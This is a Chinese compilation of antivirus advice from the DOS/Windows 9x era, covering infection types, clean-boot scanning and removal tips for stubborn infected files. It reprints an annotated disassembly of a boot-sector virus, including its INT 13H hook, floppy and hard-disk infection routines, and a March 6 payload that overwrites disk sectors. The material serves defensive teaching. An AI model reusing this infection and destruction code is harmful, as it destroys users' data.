你会查杀病毒吗?反病毒技巧! 比较长。

现在拥有电脑的朋友们,很多没有经历过DOS时代(绝非以老卖老),仅仅是在图形桌面和鼠标点击下成长的,所以对于引导区、病毒的传染、复制方面不是很了解,有的甚至跟本就不了解。甚至是谈“毒”色变,把机器一切不正常现象都归于-“是有病毒了吧?”非也,告诉大家病毒很简单,人做的程序而已,别怕。其实病毒机理无非就是“感染-》优先运行-》自我复制-》隐藏、破坏-》传播”几个步骤。熟悉了这些,我们就可以知道,杀毒到底要从什么方面入手。
先就简单的说说病毒的感染和传播方法。

1、 引导区型病毒 感染启动扇区(包括软盘),在每次开机时读区引导区也就激活了病毒 加入内存。传播方式是通过软盘的读写。
2、 文件型病毒 感染 .exe \.com为扩展名的可执行文件,常驻内存,感染此后加载到内存的应用程序。修改程序文件,导致文件不能使用。
3、 破坏型病毒 恶意删除文件或者格式化硬盘,第一时间加入内存,实行破坏活动
4、 木马型病毒 自我复制、自我隐藏、开机加载、窃取破坏于一身的病毒
5、 恶意网站 通过恶意代码和IE漏洞侵害用户,偷偷下载和运行带有木马的程序
剩下的宏病毒和脚本病毒先不讨论。

不难发现,所有病毒的感染方式都是以第一时间占领机器,取得领导权,并且常驻内存,感染所有今后进入内存的程序为目的。所以对他们下手,也就有了初步的思路。这就是你和病毒之间,到底谁能先拥有机器的“领导权”问题。如果先让病毒占领机器,无疑你就是“攻击战”,攻击战看似简单,但是可惜和病毒使用的武器是同一个东东――“你的爱机”。如果你的爱机先听了病毒的指挥,恐怕攻击战不好打啊,既要夺“武器”,又要“擒贼首”,太被动了。有的时候,爱机跟本不会帮你解决问题,就是因为病毒先占领了机器。

举个例子,比如很多时候,我们杀毒时遇见“文件正在使用“或者”清除失败”这样的报告,原因就是如此,病毒先占领了机器,启动了windows。Windows是决不会允许你对正在运行的程序进行杀毒和删除的。(加一个特殊情况:当检查到压缩文件的时候,瑞星可能提示,需要解压缩之后才可以删除病毒。因为瑞星不能改变你的压缩文件内部结构,所以你最好乖乖的听话,把这个压缩文件解压到一个临时目录下 杀毒后 再次压缩打包就可以了。如果这个压缩文件不是很重要,就直接删除好了,再次去下载新的无毒的压缩文件,不要解压的时候处理不善 造成病毒泄露)

而很多病毒在当时被报告“已清除”但是再次开机或者过几天再次出现的原因是因为病毒有复制功能,并且先占领机器并执行了自己,只要让它先拥有了机器的“领导权”,他会再次将自己复制,并再次感染。这样的恶梦循环不断。所以这就是为什么常常我们在windows下杀毒杀不掉或者杀掉之后再次感染的原因。

既然问题分析清楚了,那么解决的办法也应运而生,那就是脱离windows环境杀毒,争取第一时间取得机器领导权是首要问题。也就是我们常说的使用DOS启动盘杀毒(瑞星A盘)。为什么使用DOS启动盘杀毒就可以真正的杀掉病毒呢?不是启动盘里的瑞星更厉害,而是用软盘启动的时候,不通过硬盘引导,不启动windows。Windows启动的时候根据注册表加载了大量的程序,其中就包括病毒程序,因为经过病毒的修改,启动项目和其他驱动一样被写进了注册表启动项目。但是一但通过软盘引导系统,就不会执行windows注册表配置,病毒自然也就无法第一时间占领机器了。机器已经归我们所有了,病毒只能是束手就擒。同志们!杀啊!杀 杀!!解气去!!

有很多朋友是浏览网页的时候,不知不觉的中了“招”。解决办法只能是防范第一,杀毒第二。主要是打开瑞星监控并及时的把IE的补丁打上,升级最高版本。打上系统补丁。但是对于病毒,我们始终只能是防范,而不是先知。所以给各位常在网上走的朋友提个醒“防患于未然,多多提高警惕吧”!
注意,大家杀毒的时候最好去DOS,要是不能去DOS可以去安全模式下查杀病毒!

近年来,新的计算机病毒发展十分猖獗,而且这些新病毒更加隐蔽 、复杂,某些新病毒所具有的破坏性更大,所带来的损失无法估量 。这表明计算机病毒的防治尤为重要,同时所面临的形势也更加严 峻 。本文就在带毒环境下检测清除病毒的方法问题提出一点体会与看法 。
  
   一、带毒环境下检测清除病毒的意义

  目前在我国流行的病毒一般可分为引导型病毒 、文件型病毒和混合型病毒 。引导型病毒的特点是它寄生在软盘的DOS引导扇区和硬盘的主引导记录或DOS引导区中 ,开机时由计算机自动读入内存中执行文件型病毒则将自身附加在可执行文件上 ,在执行被感染程序时,病毒首先获得控制权,进行驻留或破坏等活动。混合型病毒既能感染引导区也能感染可执行文件,具有更强的传染性。常用的杀毒软件有瑞星2004、金山毒霸、KV300 、公安部的KILL 、美国McAfee公司的SCAN和CLEAN等 ,这些软件各有自身的优点。但是在一个带毒的环境下,也即在病毒已经驻留在内存中的情况下,这些杀毒软件都存在不足并可能带来一些不良的后果。
  
  当系统感染一种已知病毒时,KILL和SCAN 发现内存中有病毒后,一般是拒绝继续执行,并要求用干净的盘重新启动。KV300发现类似的警告信息,但提供给用户一个选择的机会,以确定是否继续执行, 很显然 ,若用户选择继续 ,所带来的后果是不可预期的。
  
  当系统感染一种未知病毒时,三种软件在未发现内存中有已知病毒后,都假设系统中无病毒,忠实地执行检测或清除功能。事实上,这个未知病毒可能会在检测时传染盘中所有的可执行文件。

  由上面的讨论可知,清查病毒时只有从绝对干净的盘启动,而且要求杀毒软件自身无毒,才能够保证万无一失。然而,由于人们相互拷贝各种软件,很大程度上帮助了病毒的传播,在许多情况下, 要获得一张干净的启动盘很不容易,并且对于一些对计算机系统了解不是很多的使用者来说,他们根本 无法断定一张启动盘是不是干净的。因此,探讨在带毒环境下进行病毒检测和清除的方法是很有意义的 。
  
   二 、带毒环境下检测清除病毒的原理
  
  对于一个驻留内存伺机进行传染和破坏的病毒来说,一般都要截取某些中断向量,当其他程序调用这些中断时,病毒重新取得控制权,判断是否满足特定的条件,满足则激活传染或破坏部分,在条件不满足的情况下一般是调用原中断服务程序,实现正常的系统功能。

  引导型病毒常接管INT13H、08H、10H等中断;文件型病毒则常接管INT21H、24H、25H、26H、1CH 、13H、10H等中断。

举一个例子: 该例子转自黑白网络"一个主引导区病毒的分析 作者:sinister

病毒体:
JMP 01AF ;JMP到01AF
DB 00 ;病毒标计
DW 00F5 ;此为搬到高位址后,远程跳转指令
DW 9F80 ;目的地,也就是跳下一个指令XOR AX,AX
DB 02
DW 0003 ;此为软盘识别标记,硬盘为0007
DW EC59 ;
DW F000 ;INT 13H的原入口
.
.
.
.
.
XOR AX,AX ;清除AX
MOV DS,AX; ;让DS=0000
CLI ;清I标志积存器
MOV SS,AX ;把堆栈设为0000:7C00也就是开机
MOV AX,7C00 ;后载入引导分区表的地址,目前地址
MOV SP,AX ;开机时为0000:7CB6
STI ;设I标志积存器
PUSH DS ;把DS=0000,AX=7C00压栈,留给0B33:024A
PUSH AX ;用RETF,把程序转到引导或分区表位置
MOV AX,[004C] ;取中断向量表中,INT 13H的偏移位置
MOV [7C0A],AX ;保存INT 13H的偏移位置,也就是存在
MOV AX,[004E] ;取INT 13H的段地址
MOV [7C0C],AX ;存到010C

;以上是HOOK系统读写盘调用INT 13用病毒体替代原INT 13
;读写以便传播发作


MOV AX,[0413] ;取得内存K数,放在AX
DEC AX ;
DEC AX ;减2k内存
MOV [0413],AX ;存回,通常是638K
MOV CL,06 ;
SHL AX,CL ;
MOV ES,AX ;算出减2K后病毒本体的位址
MOV [7C05],AX ;AX存入0105


;病毒常用手法将系统高段内存减少以便驻留
;这样可以免于被其他程序覆盖


MOV AX,000E ;病毒拦INT 13H
;ISR起始的偏移量
MOV [004C],AX ;
MOV [004E],ES ;设原为病毒的INT 13H
MOV CX,01BE ;病毒长度为1BE
MOV SI,7C00 ;从JMP 01AF开始
XOR DI,DI ;DI=0
CLD ;清方向标志
REPZ;
MOVSB ;CX=1BE,将病毒自身搬移到高位址,目地是使其引导或
CS: ;分区表能载入0000:7C00正常运作
JMP FAR [7C03] ;跳到为搬过后的位址
XOR AX,AX ;清AX
MOV ES,AX ;ES=0000
INT 13 ;复位磁盘
PUSH CS ;
POP DS ;让DS=CS
MOV AX,0201 ;用INT 13H读一扇区,是引导,或分区表则

MOV BX,7C00 ;读到0000:7C00
MOV CX,[0008] ;硬盘第0道,第7扇区
CMP CX,+07 ;比较是否从硬盘启动
JNZ 0213 ;不是跳0213
MOV DX,0080 ;第一硬盘C:第零面
INT 13 ;用INT 13号中断,读
JMP 023E ;跳023E比较日期,发作或正常开机
MOV CX,[0008] ;软盘0道,第3扇区
MOV DX,0100 ;A:的第0面
INT 13 ;INT 13读盘
JB 023E ;失败跳023E
PUSH CS
POPES ;让ES=CS
MOV AX,0201 ;
MOV BX,0200 ;
MOV CX,0001 ;
MOV DX,0080 ;
INT 13 ;读入C:的分区表到0200,以便下面比较
JB 023E ;失败跳023E
XOR SI,SI ;清SI
CLD ;清方向标志以便比较
LODSW ;载入一个WORD到AX
CMP AX,[BX] ;比较有无病毒存在..E9AC
JNZ 0287 ;没有则跳0287传染
LODSW ;载入一个WORD到AX
CMP AX,[BX+02] ;再次确认..0000
JNZ 0287 ;没有跳0287
XOR CX,CX ;清CX
MOV AH,04 ;
INT 1A ;取得日期
CMP DX,0306 ;是否为三月六日
JZ 024B ;是跳024B传染
RETF ;把程序交还给引导启动完成


步骤4:病毒INT 13代码分析
方法:U

PUSH DS ;首先把要用到积存器
PUSH AX ;入栈保存
OR DL,DL ;比较是否为软盘
JNZ 002F ;如不是则退出传染
XOR AX,AX ;AX=0
MOV DS,AX ;数据代段=0
TEST BYTE PTR [043F],01 ;比较是否为A盘
JNZ 002F ;不是则退出
POP AX ;将以上保存积存器
POP DS ;弹栈恢复
PUSHF ;压栈标志积存器
CS: ;以便执行原INT 13
CALL FAR [000A] ;执行原INT 13
PUSHF ;再次压栈
CALL 0036 ;以便跳转到传染程序
POPF ;跳转到执行传染
RETF 0002 ;结束中断调用返回
POP AX ;恢复
POP DS ;堆栈
CS: ;跳转到原正常INT 13
JMP FAR [000A] ;地址执行


;此段代码中展现了病毒常用手法,利用标志积存器做跳转


步骤5:传染过程分析
方法:U

对软盘传染过程:

PUSH AX ;工
PUSH BX ;作
PUSH CX ;寄
PUSH DX ;存
PUSH DS ;器
PUSH ES ;入
PUSH SI ;栈
PUSH DI ;保存
PUSH CS ;以压/弹栈方式
POP DS ;使数据段DS和
PUSH CS ;附加段ES均指向
POP ES ;代码段CS
MOV SI,0004 ;试4次
MOV AX,0201 ;设置各
MOV BX,0200 ;积存器
MOV CX,0001 ;为读软盘
XOR DX,DX ;引导扇区做准备
PUSHF ;压栈标志积存器
CALL FAR [000A] ;正常的INT 13调用
JNB 0063 ;成功则转判断
XOR AX,AX ;不成功复位
PUSHF ;磁盘继续读
CALL FAR [000A] ;如果4次
DEC SI ;均匀不成功
JNZ 0045 ;则退出跳转
JMP 00A6 ;退出传染
XOR SI,SI ;SI=0以便用
CLD ;LODSW读入软盘
LODSW ;第1或第2字进行比较
CMP AX,[BX] ;比较如果不包含病毒标志
JNZ 0071 ;则跳转写传染
LODSW ;如果已有标志
CMP AX,[BX+02] ;则退出
JZ 00A6 ;传染子程序
MOV AX,0301 ;为写盘准备
MOV DH,01 ;如果是360K
MOV CL,03 ;则写到1面0道3扇区
CMP BYTE PTR [BX+15],FD ;比较软盘
JZ 0080 ;如果大于360K
MOV CL,0E ;写到1面0道14扇区
MOV [0008],CX ;写病毒标志到软盘
PUSHF ;调用原INT 13
CALL FAR [000A] ;进行传染
JB 00A6
MOV SI,03BE ;以下是将正常
MOV DI,01BE ;引导扇区从
MOV CX,0021 ;1BE起的21字节内容
CLD ;搬移到病毒程序尾部
REPZ ;开始复制
MOVSW
MOV AX,0301 ;写盘功能调用,写一个扇区
XOR BX,BX ;将病毒程序
MOV CX,0001 ;写入软盘引导扇区内
XOR DX,DX ;设置为软盘
PUSHF
CALL FAR [000A] ;执行正常INT 13调用写盘
POP DI ;将
POP SI ;工
POP ES ;作
POP DS ;寄
POP DX ;存
POP CX ;器
POP BX ;退
POP AX ;栈
RET ;返回调用处

对硬盘传染过程:

MOV CX,0007 ;第7扇区
MOV [0008],CX ;此处为硬盘引导标记
MOV AX,301 ;写功能调用
MOV DX,0080 ;设置为硬盘
INT 13 ;将正常引导扇区写到0面0道7扇区内
JB 13E ;失败则转
MOV SI,03BE ;原分区表地址
MOV DI,01BE ;目标地址
MOV CX,0021 ;整个分区表
REPNZ
MOVSW ;开始复制

;此段代码是将硬盘分区信息,搬移到病毒程序尾部
;这样在分析着查看硬盘分区信息时仍能看到该部分
;内容,以次来麻痹分析者

MOV AX,0301 ;准备写病毒提进硬盘
XOR BX,BX ;病毒体位置
INC CL ;第一扇区
INT 13 ;开始写盘传染
JMP 013E ;转到13E处判断是否为3月6日,是则发作


步骤6:破坏过程分析
方法:U

主要分析对硬盘数据破坏:

.
.
.
.
.
MOV DL,80
MOV BYTE PTR[0007],04

;准备写硬盘
MOV AL,11 ;写17个扇区
MOV BX,5000
MOV ES,BX ;从内存ES:5000中处开始写
INT 13 ;残不人睹
JNB 0179 ;成功转179继续写
XOR AH,AH
INT 13 ;不成功复位磁盘继续
INC DH ;使写操作磁头加1继续?
CMP DH,[0007] ;比较是否小于0007单元值
JB 0150 ;是则返回开始处继续写
XOR DH,DH ;DH=0
INC CH ;再加扇区
JMP 0150 ;反回继续写

;以上操作实际上是对硬盘执行4次写操作,每次17个扇区
;共68个扇区,这样就完全破坏了盘中的引导扇区,根目录
;和文件分配表。


引导扇区病毒,俺手里没有,这是一段DOS BOOT的分析。BOOT区病毒和他完成同样的工作,只不过每次
读盘的时将自身写入磁盘。

引导过程如下:
1>调整堆栈位置
2>修改并用修改后的磁盘参数表来复位磁盘系统
3>计算根目录表的首扇区的位置及IO.SYS的扇区位置
4>读入根目录表的首扇区
5>检查根目录表的开头两项是否为IO.SYS及MSDOS.SYS
6>将IO.SYS文件开头三个扇区读入内存0000:0700H处
7>跳到0000:0700H处执行IO.SYS,引导完毕

003E FA CLI
003F 33C0 XOR AX,AX
0041 8ED0 MOV SS,AX
0041 8ED0 MOV SS,AX
0043 BC007C MOV SP,7C00 ; 初始化堆栈
0046 16 PUSH SS
0047 07 POP ES ;(ES)=0000H
0048 BB7800 MOV BX,0078 ;1EH 号中断向量的地址为0000:0078H
004B 36 SS: ;(SS)=0000H
004C C537 LDS SI,[BX] ;取1EH号中断向量的内容存入DS:SI
004E 1E PUSH DS ;该中断向量指向一个11字节的磁盘参数表
004F 56 PUSH SI ;取到后压入堆栈中保存
0050 16 PUSH SS
0051 53 PUSH BX ;保存地址0000:0078H
0052 BF3E7C MOV DI,7C3E ;7C3E-7C00=003EH,即偏移003EH,以下类推
0055 B90B00 MOV CX,000B ;磁盘参数表共11字节
0058 FC CLD
0059 F3 REPZ
005A A4 MOVSB ;将磁盘参数表复制到0000:7C3EH处
005B 06 PUSH ES
005C 1F POP DS ;(DS)=0000H
005D C645FE0F MOV BYTE PTR [DI-02],0F ;修改参数表中"磁头定位时间"
0061 8B0E187C MOV CX,[7C18] ;从BPB中取"每磁道扇区数"
0065 884DF9 MOV [DI-07],CL ;修改参数表中"每磁道扇区数"
0068 894702 MOV [BX+02],AX ;(AX)=0000H,修改1EH号中断向量(段址)
006B C7073E7C MOV WORD PTR [BX],7C3E ;修改1EH号中断向量(偏移),这样1EH号
006F FB STI ;中断向量的内容为0000:7C3EH,指向新的磁盘参数表
0070 CD13 INT 13 ;用新的磁盘参数表来复位磁盘
0072 7279 JB 00ED ;出错则转出错处理


; 下面一段程序计算扇区位置
0074 33C0 XOR AX,AX
0076 3906137C CMP [7C13],AX ;偏移0013H处是Dos分区的总扇区数
007A 7408 JZ 0084 ;为零表示大硬盘?
007C 8B0E137C MOV CX,[7C13] ;不为0则取出来放到偏移0020H处
0080 890E207C MOV [7C20],CX ;这个值本程序未用,似乎为IO.SYS准备的
0084 A0107C MOV AL,[7C10] ;取FAT表的个数
0087 F726167C MUL WORD PTR [7C16] ;乘以一个FAT表所占的扇区数
008B 03061C7C ADD AX,[7C1C] ;加上Dos分区前的扇区数(隐藏扇数,低位)
008F 13161E7C ADC DX,[7C1E] ; 高位
0093 03060E7C ADD AX,[7C0E] ;加上Dos分区内的保留扇区数(低位)
0097 83D200 ADC DX,+00 ; (高位)
009A A3507C MOV [7C50],AX ;根目录表的首扇的逻辑扇区号(低位)
009D 8916527C MOV [7C52],DX ; (高位)
00A1 A3497C MOV [7C49],AX ;此处放IO.SYS的首扇的逻辑扇区号(低位)
00A4 89164B7C MOV [7C4B],DX ; (高位)
00A8 B82000 MOV AX,0020 ;根目录表中每项占32字节
00AB F726117C MUL WORD PTR [7C11] ;乘以根目录表中的项数
00AF 8B1E0B7C MOV BX,[7C0B] ;取"每扇区的字节数"
00B3 03C3 ADD AX,BX ;这两条指令是为了取整
00B5 48 DEC AX
00B6 F7F3 DIV BX ;除以每扇字节数,得到根目录所占扇区数
00B8 0106497C ADD [7C49],AX ;得到根目录表后首扇的逻辑扇区号(低位)
00BC 83164B7C00 ADC WORD PTR [7C4B],+00 ; (高位)

;下面一段程序在根目录表中找系统文件IO.SYS和MSDOS.SYS
00C1 BB0005 MOV BX,0500 ;内存缓冲区的偏移值
00C4 8B16527C MOV DX,[7C52] ;取根目录表的首扇的逻辑扇区号(高位)
00C8 A1507C MOV AX,[7C50] ; (低位)
00CB E89200 CALL 0160 ;将逻辑扇区号转换为物理扇区号
00CE 721D JB 00ED ;出错则转出错处理
00D0 B001 MOV AL,01
00D2 E8AC00 CALL 0181 ;读一个扇区到内存(根目录的首扇)
00D5 7216 JB 00ED ;出错处理
00D7 8BFB MOV DI,BX ;内存缓冲区的首址
00D9 B90B00 MOV CX,000B ;比较11个字节
00DC BEE67D MOV SI,7DE6 ;偏移01E6处是串"IO SYS",长11字节
00DF F3 REPZ
00E0 A6 CMPSB ;看第一项是否为IO.SYS
00E1 750A JNZ 00ED ;不是则出错
00E3 8D7F20 LEA DI,[BX+20] ;跳过32字节就指向第二项
00E6 B90B00 MOV CX,000B ;比较11个字节
00E9 F3 REPZ
00EA A6 CMPSB ;看第二项是否为MSDOS.SYS
00EB 7418 JZ 0105 ;是则两个文件都已找到,跳过出错处理


;下面一段进行出错处理
00ED BE9E7D MOV SI,7D9E ;偏移019EH处是串"Non system disk..."
00F0 E85F00 CALL 0152 ;显示字符串
00F3 33C0 XOR AX,AX
00F5 CD16 INT 16 ;等待任一键按下
00F7 5E POP SI
00F8 1F POP DS ;得到1EH号中断向量的地址0000:0078H
00F9 8F04 POP [SI]
00FB 8F4402 POP [SI+02] ;恢复1EH号中断向量的内容
00FE CD19 INT 19 ;自举
0100 58 POP AX
0101 58 POP AX
0102 58 POP AX ;清理堆栈
0103 EBE8 JMP 00ED ;再次试图起动


;下面读入IO.SYS的头3个扇区到内存0000:0700H处
0105 8B471A MOV AX,[BX+1A] ;从根目录表第一项中取IO.SYS的首簇号
0108 48 DEC AX
0109 48 DEC AX ;首簇号减二
010A 8A1E0D7C MOV BL,[7C0D] ;取每簇的扇区数
010E 32FF XOR BH,BH
0110 F7E3 MUL BX ;(首簇号 - 2)乘以 每簇的扇区数
0112 0306497C ADD AX,[7C49] ;相加后得到IO.SYS的首扇的逻辑扇区号
0116 13164B7C ADC DX,[7C4B]
011A BB0007 MOV BX,0700 ;内存缓冲区的偏移值
011D B90300 MOV CX,0003 ;循环计数初值,读3个扇区
0120 50 PUSH AX ;逻辑扇区号进栈(低位)
0121 52 PUSH DX ; (高位)
0122 51 PUSH CX ;循环计数器进栈
0123 E83A00 CALL 0160 ;逻辑扇区号转换为物理扇区号
0126 72D8 JB 0100 ;出错处理
0128 B001 MOV AL,01
012A E85400 CALL 0181 ;读一个扇区到内存缓冲区
012D 59 POP CX ;循环计数出栈
012E 5A POP DX
012F 58 POP AX ;逻辑扇区号出栈
0130 72BB JB 00ED ;读盘出错处理
0132 050100 ADD AX,0001
0135 83D200 ADC DX,+00 ;下一个扇区
0138 031E0B7C ADD BX,[7C0B] ;缓冲区指针移动一个扇区的大小
013C E2E2 LOOP 0120 ;循环读入三个扇区
013E 8A2E157C MOV CH,[7C15] ;取"磁盘介质描述",传给IO.SYS
0142 8A16247C MOV DL,[7C24] ;取"系统文件所在的驱动器号"
0146 8B1E497C MOV BX,[7C49] ;取IO.SYS的首扇的逻辑扇区号
014A A14B7C MOV AX,[7C4B]
014D EA00007000 JMP 0070:0000 ;执行IO.SYS,引导完毕

;显示字符串的子程序
0152 AC LODSB ;从串中取一个字符
0153 0AC0 OR AL,AL
0155 7429 JZ 0180 ;为0则已到串尾,返回(共用RET指令)
0157 B40E MOV AH,0E
0159 BB0700 MOV BX,0007
015C CD10 INT 10 ;显示该字符
015E EBF2 JMP 0152 ;循环显示下一个

;将逻辑扇区号转换为物理扇区号的子程序
0160 3B16187C CMP DX,[7C18] ;这两条指令是为了避免第二次除法时除数
0164 7319 JNB 017F ;为0
0166 F736187C DIV WORD PTR [7C18] ;逻辑扇取号除以每道扇区数,商(AX)=总磁
016A FEC2 INC DL ;道数,余数(DX)再加一即为扇区号,因为扇
016C 88164F7C MOV [7C4F],DL ;区号是从1开始的,而不是从0开始
0170 33D2 XOR DX,DX
0172 F7361A7C DIV WORD PTR [7C1A] ;总磁道数(AX)再除以面数,所得的
0176 8816257C MOV [7C25],DL ;余数(DX)=面号(即磁头号)
017A A34D7C MOV [7C4D],AX ;商(AX)=磁道号
017D F8 CLC
017E C3 RET ;正常返回
017F F9 STC
0180 C3 RET ;异常返回

;读一个扇区的子程序
0181 B402 MOV AH,02 ;读功能调用
0183 8B164D7C MOV DX,[7C4D] ;需要的入口参数如下:
0187 B106 MOV CL,06 ;(DL)=驱动器号
0189 D2E6 SHL DH,CL ;(DH)=面号
018B 0A364F7C OR DH,[7C4F] ;(CH)=磁道号
018F 8BCA MOV CX,DX ;(CL)=扇区号(第6,7位为磁道号的高2位)
0191 86E9 XCHG CH,CL ;(AL)=要读的扇区数
0193 8A16247C MOV DL,[7C24] ;(ES:BX)=缓冲区首址
0197 8A36257C MOV DH,[7C25]
019B CD13 INT 13
019D C3 RET
9x下的主引导/引导扇区没大区别,为了识别大分区用了一个INT 13的扩展调用42H。

  
  既然病毒是通过接管中断来获取传染和破坏的机会,那么我们是否有办法找回被病毒接管的中断 服务程序的地址,从而杀毒软件可以直接调用原中断,避免激活病毒? 笔者认为这是可能的,因为病毒在接管中断后,一般只对读写操作 、文件操作和执行等子功能调用感兴趣,对于其他一些功能调用,病毒只是简单地调用原中断服务程序进行处理,并通常使用下列指令进行调用:

   jmp xxxx:xxxx
   call xxxx:xxxx
jmp far ptr cs:[xxxx]
call far ptr cs:[xxxx]
  
  以INT21H为例,我们可以调用取DOS版本号的子功能3306H,对整个调用过程进行单步跟踪,并假设病毒驻留的段地址与INT21H原中断段地址是不同的,如果调用过程中CS发生改变,我们把每次CS改变后 执行的第一条指令的地址都记录下来,那么INT21H原来的中断地址也必定在其中。
  
  但记录的地址不止一个,究竟哪个是我们所要找的呢?这里我们可以假设病毒在调原中断服务程序时把各个寄存器(指AX、BX、CX、DX 、SI、DI、DS、ES)都设置成我们调用时所设置的值,同时真正的中断服务程序返回时又会改变寄存器的值,这个假设在绝大多数情况下都是正确的,从该假设出发,只需在各个寄存器值有改变的情况下,记录下每次CS改变后的第一条指令的地址,那么在中断返回后,记录中的最近一个地址就是所需找的原中断地址。需要指出的是,如果内存中还有其他驻留程序也接管了INT21H所找到的地址同样绕过了这些驻留程序。

发现病毒,但是无论在安全模式还是Windows下都无法清除怎么办?


由于某些目录和文件的特殊性,无法直接清除(包括安全模式下杀毒等一些方式杀毒),而需要某些特殊手段清除的带毒文件。以下所说的目录均包含其下面的子目录。

1、带毒文件在\Temporary Internet Files目录下。

由于这个目录下的文件,Windows会对此有一定的保护作用(未经证实)。所以对这个目录下的带毒文件即使在安全模式下也不能进行清除,对于这种情况,请先关闭其他一些程序软件,然后打开IE,选择IE工具栏中的"工具"\"Internet选项",选择"删除文件"删除即可,如果有提示"删除所有脱机内容",也请选上一并删除。

2、带毒文件在\_Restore目录下,或者System Volume Information目录下。

这是系统还原存放还原文件的目录,只有在装了Windows Me/XP操作系统上才会有这个目录,由于系统对这个目录有保护作用。对于这种情况需要先取消"系统还原"功能,然后将带毒文件删除,甚至将整个目录删除也是可以的。 关闭系统还原方法。WindowsMe的话,禁用系统还原,DOS下删除。具体请参考下文:
http://community.rising.com.cn/Forum/msg_read.asp?FmID=33&SubjectID=2028691&page=1。XP关闭系统还原的方法:右键单击“我的电脑”,选“属性”——“系统还原”——在“在所有驱动器上关闭系统还原”前面打勾——按“确定”退出。

3、带毒文件在.rar、.zip、.cab等压缩文件中。

现今能支持直接查杀压缩文件中带毒文件的反病毒软件还很少,即使有也只能支持常用的一些压缩格式;所以,对于绝大多数的反病毒软件来说,最多只能检查出压缩文件中的带毒文件,而不能直接清除。而且有些加密了的压缩文件就更不可能直接清除了。

要清除压缩文件中的病毒,建议解压缩后清除,或者借助压缩工具软件的外挂杀毒程序的功能,对带毒的压缩文件进行杀毒。

4、病毒在引导区或者SUHDLOG.DAT或SUHDLOG.BAK文件中。

这种病毒一般是引导区病毒,报告的病毒名称一般带有boot、wyx等字样。如果病毒只是存在于移动存储设备(如软盘、闪存盘、移动硬盘)上,就可以借助本地硬盘上的反病毒软件直接进行查杀;如果这种病毒是在硬盘上,则需要用干净的可引导盘启动进行查杀。

对于这类病毒建议用干净软盘启动进行查杀,不过在查杀之前一定要备份原来的引导区,特别是原来装有别的操作系统的情况,如日文Windows、Linux等。

如果没有干净的可引导盘,则可使用下面的方法进行应急杀毒:
(1) 在别的计算机上做一张干净的可引导盘,此引导盘可以在Windows 95/98/ME系统上通过"添加/删除程序"进行制作,但要注意的是,制作软盘的操作系统须和自己所使用的操作系统相同;
(2) 用这张软盘引导启动带毒的计算机,然后运行以下命令:
A:\>fdisk/mbr
A:\>sys a: c:
如果带毒的文件是在SUHDLOG.DAT或SUHDLOG.BAK文件中,那么直接删除即可。这是系统在安装的时候对硬盘引导区做的一个备份文件,一般作用不大,病毒在其中已经不起作用了。

5、带毒文件的后缀名是.vir、.kav、.kbk等。

这些文件一般是一些防毒软件对原来带毒的文件做的备份文件,一般情况下,如果确认这些文件已经无用了,那就将这些文件删除即可。

6、带毒文件在一些邮件文件中,如dbx、eml、box等。

有些防毒软件可以直接检查这些邮件文件中的文件是否带毒,但往往不能对这些带毒的文件直接的进行操作,对于一些邮箱中的带毒的信件,可以根据防毒软件提供的信息找到那带毒的信件,删除信件中的附件或者删除该信件;如果是eml、nws一些信件文件带毒,可以用相关的邮件软件打开,确认该信件及其附件,然后删除相关内容。一般有大量的eml、nws的带毒文件的话,都是病毒自动生成的文件,建议都直接删除。

7、文件中有病毒的残留代码。

这种情况比较多见的就是带有CIH、Funlove、宏病毒(包括Word、Excel、Powerpoint和Wordpro等文档中的宏病毒)和个别网页病毒的残留代码,通常防毒软件对这些带有病毒残留代码的文件报告的病毒名称后缀通常是int、app等结尾,而且并不常见,如W32/FunLove.app、W32.Funlove.int。一般情况下,这些残留的代码不会影响正常程序的运行,也不会传染,如果需要彻底清除的话,要根据各个病毒的实际情况进行清除。

8、文件错误。

这种情况出现的并不多,通常是某些防毒软件将原来带毒的文件并没有很干净地清除病毒,也没有很好的修复文件,造成文件无法正常使用,同时造成别的防毒软件的误报。这些文件可以直接删除。

9、加密的文件或目录。

对于一些加密了的文件或目录,请在解密后再进行病毒查杀。

10、共享目录。

这里包括两种情况:本地共享目录和网络中远程共享目录(其中也包括映射盘)。遇到本地共享的目录中的带毒文件不能清除的情况,通常是局域网中别的用户在读写这些文件,杀毒的时候表现为无法直接清除这些带毒文件中的病毒,如果是有病毒在对这些目录在写病毒操作,表现为对共享目录进行清除病毒操作后,还是不断有文件被感染或者不断生成病毒文件。以上这两种情况,都建议取消共享,然后针对共享目录进行彻底查杀,恢复共享的时候,注意不要开放太高的权限,并对共享目录加设密码。对远程的共享目录(包括映射盘)查杀病毒的时候,首先要保证本地计算机的操作系统是干净的,同时对共享目录也有最高的读写权限。如果是远程计算机感染病毒的话,建议还是直接在远程计算机进行查杀病毒。特别的,如果在清除别的病毒的时侯都建议取消所有的本地共享,再进行杀毒操作。在平时的使用中,也应注意共享目录的安全性,加设密码,同时,非必要的情况下,不要直接读取远程共享目录中的文件,建议拷贝到本地检查过病毒后再进行操作。

11、光盘等一些存储介质。

对于光盘上带有的病毒,不要试图直接清除,这是神仙也做不到的事情。同时,对另外一些存储设备查杀病毒的,也需要注意其是否处于写保护或者密码保护状态。

引导型病毒的消毒原理


1.引导型病毒感染时的攻击部位有:
(1)硬盘主引导扇区。
(2)硬盘或软盘的BOOT扇区。
(3)为保存原主引导扇区、BOOT扇区,病毒可能随意地将它们写入其他扇区,而毁坏这些扇区。
(4)引导型病毒发病,执行破坏行为造成种种损坏。

2.硬盘主引导扇区染毒,是可以修复的。
(1)用元毒软盘启动系统。
(2)寻找一台同类型、硬盘分区相同的无毒机器,将其硬盘主引导扇区写入一张软盘中。
(3)将此软盘插入染毒机器,将其中采集的主引导扇区数据写入染毒硬盘,即可修复。

3.硬盘、软盘BOOT扇区染毒也可以修复。
寻找与染毒盘相同版本的无毒系统软盘,执行SYS命令,即可修复。

4.引导型病毒如果将原主引导扇区或BOOT扇区覆盖式写入根目录区,被覆盖的根目录区完全损坏,不可能修复。

5.如果引导型病毒将原主引导扇区或BOOT扇区覆盖式写入第一FAT表时,第二FAT表未破坏,则可以修复。可将第FAT表复制到第一FAT表中。

6.一般而言,引导型病毒占用的其他部分存储空间,只有采用“坏簇”技术和“文件结束簇”技术占用的空间需要收回。

文件型病毒的消毒原理

除了覆盖型的文件型病毒之外,其他感染COM型和EXE型的文件型病毒都可以被清除干净。 因为病毒是在基本保持原文件功能的基础上进行传染的,既然病毒能在内存中恢复被感染文件的代码并予以执行, 则也可以仿照病毒的方法进行传染的逆过程—将病毒清除出被感染文件,并保持其原来的功能。 对覆盖型的文件则只能将其彻底删除,没有挽救原来文件的余地了。

